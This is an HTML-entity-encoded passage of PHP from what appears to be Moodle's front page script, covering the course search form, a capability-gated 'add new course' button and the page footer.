&#36;courserenderer&#45;&#62;frontpage&#95;combo&#95;list&#40;&#41;&#59;\n\n // End frontpage category combo div container.\n echo html&#95;writer&#58;&#58;end&#95;tag&#40;&#39;div&#39;&#41;&#59;\n\n echo html&#95;writer&#58;&#58;tag&#40;&#39;span&#39;, &#39;&#39;, array&#40;&#39;class&#39; &#61;&#62; &#39;skip&#45;block&#45;to&#39;, &#39;id&#39; &#61;&#62; &#39;skipcourses&#39;&#41;&#41;&#59;\n break&#59;\n\n case FRONTPAGECOURSESEARCH&#58;\n echo &#36;OUTPUT&#45;&#62;box&#40;&#36;courserenderer&#45;&#62;course&#95;search&#95;form&#40;&#39;&#39;, &#39;short&#39;&#41;, &#39;mdl&#45;align&#39;&#41;&#59;\n break&#59;\n\n &#125;\n echo &#39;&#60;br /&#62;&#39;&#59;\n&#125;\nif &#40;&#36;editing &#38;&#38; has&#95;capability&#40;&#39;moodle/course&#58;create&#39;, context&#95;system&#58;&#58;instance&#40;&#41;&#41;&#41; &#123;\n echo &#36;courserenderer&#45;&#62;add&#95;new&#95;course&#95;button&#40;&#41;&#59;\n&#125;\necho &#36;OUTPUT&#45;&#62;footer&#40;&#41;&#59;\n